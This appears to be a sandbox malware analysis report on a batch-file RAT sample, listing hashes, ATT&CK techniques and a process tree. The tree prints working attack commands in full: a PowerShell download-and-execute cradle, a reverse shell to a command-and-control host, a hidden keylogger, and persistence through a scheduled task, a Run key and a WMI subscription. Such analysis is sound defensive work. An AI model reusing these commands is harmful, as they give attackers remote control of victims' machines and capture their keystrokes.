54c28edb1149eeb467392f80cf2dd65ac41d44e126a50d55e056d42a047d6362

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:48

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General

Target
rat_build_336719_014841.bat
Size 5KB
Sample260529-b79bbaav2z
SHA256 54c28edb1149eeb467392f80cf2dd65ac41d44e126a50d55e056d42a047d6362
MD5 6b24d679d58bd0d3dd57e12678d3c6d4
SHA1 166765e80a92f3fee0a0bb7524a4fd10303617a8
SHA512 1fd939cff152a35367415f817b251101e3c5e2de6b7518108d0312d618122a2879b8d0a21e9aa00447a018fd3ac12819cf7dafdaff04082e77ecc9dee3381385
SSDEEP 96:GIWmWNEZo7IJC/dDGcEDghstEi7C2xnAlgFLtiFgZk8mvlo1g+:GnNESACcGh8zbAl+iFgkHld+
TLSH
T1CFB1181727D3611495F02758DA333C28639CEAF71348C94EBB48DEC85A4CB83D225AE3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_336719.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3388	powershell.exe
4192	powershell.exe
3500	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_336719 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_336719.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
224	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
820	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4596	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3500	powershell.exe
3500	powershell.exe
4192	powershell.exe
4192	powershell.exe
3388	powershell.exe
3388	powershell.exe
3388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	888	WMIC.exe
Token: SeSecurityPrivilege	888	WMIC.exe
Token: SeTakeOwnershipPrivilege	888	WMIC.exe
Token: SeLoadDriverPrivilege	888	WMIC.exe
Token: SeSystemProfilePrivilege	888	WMIC.exe
Token: SeSystemtimePrivilege	888	WMIC.exe
Token: SeProfSingleProcessPrivilege	888	WMIC.exe
Token: SeIncBasePriorityPrivilege	888	WMIC.exe
Token: SeCreatePagefilePrivilege	888	WMIC.exe
Token: SeBackupPrivilege	888	WMIC.exe
Token: SeRestorePrivilege	888	WMIC.exe
Token: SeShutdownPrivilege	888	WMIC.exe
Token: SeDebugPrivilege	888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	888	WMIC.exe
Token: SeRemoteShutdownPrivilege	888	WMIC.exe
Token: SeUndockPrivilege	888	WMIC.exe
Token: SeManageVolumePrivilege	888	WMIC.exe
Token: 33	888	WMIC.exe
Token: 34	888	WMIC.exe
Token: 35	888	WMIC.exe
Token: 36	888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	888	WMIC.exe
Token: SeSecurityPrivilege	888	WMIC.exe
Token: SeTakeOwnershipPrivilege	888	WMIC.exe
Token: SeLoadDriverPrivilege	888	WMIC.exe
Token: SeSystemProfilePrivilege	888	WMIC.exe
Token: SeSystemtimePrivilege	888	WMIC.exe
Token: SeProfSingleProcessPrivilege	888	WMIC.exe
Token: SeIncBasePriorityPrivilege	888	WMIC.exe
Token: SeCreatePagefilePrivilege	888	WMIC.exe
Token: SeBackupPrivilege	888	WMIC.exe
Token: SeRestorePrivilege	888	WMIC.exe
Token: SeShutdownPrivilege	888	WMIC.exe
Token: SeDebugPrivilege	888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	888	WMIC.exe
Token: SeRemoteShutdownPrivilege	888	WMIC.exe
Token: SeUndockPrivilege	888	WMIC.exe
Token: SeManageVolumePrivilege	888	WMIC.exe
Token: 33	888	WMIC.exe
Token: 34	888	WMIC.exe
Token: 35	888	WMIC.exe
Token: 36	888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3124	WMIC.exe
Token: SeSecurityPrivilege	3124	WMIC.exe
Token: SeTakeOwnershipPrivilege	3124	WMIC.exe
Token: SeLoadDriverPrivilege	3124	WMIC.exe
Token: SeSystemProfilePrivilege	3124	WMIC.exe
Token: SeSystemtimePrivilege	3124	WMIC.exe
Token: SeProfSingleProcessPrivilege	3124	WMIC.exe
Token: SeIncBasePriorityPrivilege	3124	WMIC.exe
Token: SeCreatePagefilePrivilege	3124	WMIC.exe
Token: SeBackupPrivilege	3124	WMIC.exe
Token: SeRestorePrivilege	3124	WMIC.exe
Token: SeShutdownPrivilege	3124	WMIC.exe
Token: SeDebugPrivilege	3124	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3124	WMIC.exe
Token: SeRemoteShutdownPrivilege	3124	WMIC.exe
Token: SeUndockPrivilege	3124	WMIC.exe
Token: SeManageVolumePrivilege	3124	WMIC.exe
Token: 33	3124	WMIC.exe
Token: 34	3124	WMIC.exe
Token: 35	3124	WMIC.exe
Token: 36	3124	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3124	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 432	2948	cmd.exe	87
PID 2948 wrote to memory of 4596	2948	cmd.exe	88
PID 2948 wrote to memory of 888	2948	cmd.exe	89
PID 2948 wrote to memory of 3124	2948	cmd.exe	90
PID 2948 wrote to memory of 3272	2948	cmd.exe	91
PID 2948 wrote to memory of 820	2948	cmd.exe	93
PID 2948 wrote to memory of 224	2948	cmd.exe	100
PID 2948 wrote to memory of 3500	2948	cmd.exe	101
PID 2948 wrote to memory of 4192	2948	cmd.exe	104
PID 2948 wrote to memory of 3388	2948	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_336719_014841.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_336719" /tr "C:\Users\Admin\AppData\Local\Temp\_336719.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:432
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_336719" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_336719.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4596
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_336719", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:888
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_336719", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_336719.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3124
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_336719.txt
  2⤵
  PID:3272
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:820
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_336719.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 828f4e99c3f55ded0ac55e189402d38b2a3fc72869a79c5d5a933eb8ab9e42fd
MD5 21ae5dee08baa60ad5753b1006c06dc5
SHA1 49029ab9c1514680554baf6d6bf29ed456465717
SHA512 94d1dbc722b15d25c9118b49a49b15f0489bf1d5d1ccd1fe809e3380f676f293cb6aa6df93eec5043f034a046f5993f00ce31a4b8b4ffb41088b723d45cbab7f
TLSH
T1E3117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_t4pdiuwp.zij.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4pdiuwp.zij.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3500-8-0x0000022BEAAA0000-0x0000022BEAAC2000-memory.dmp

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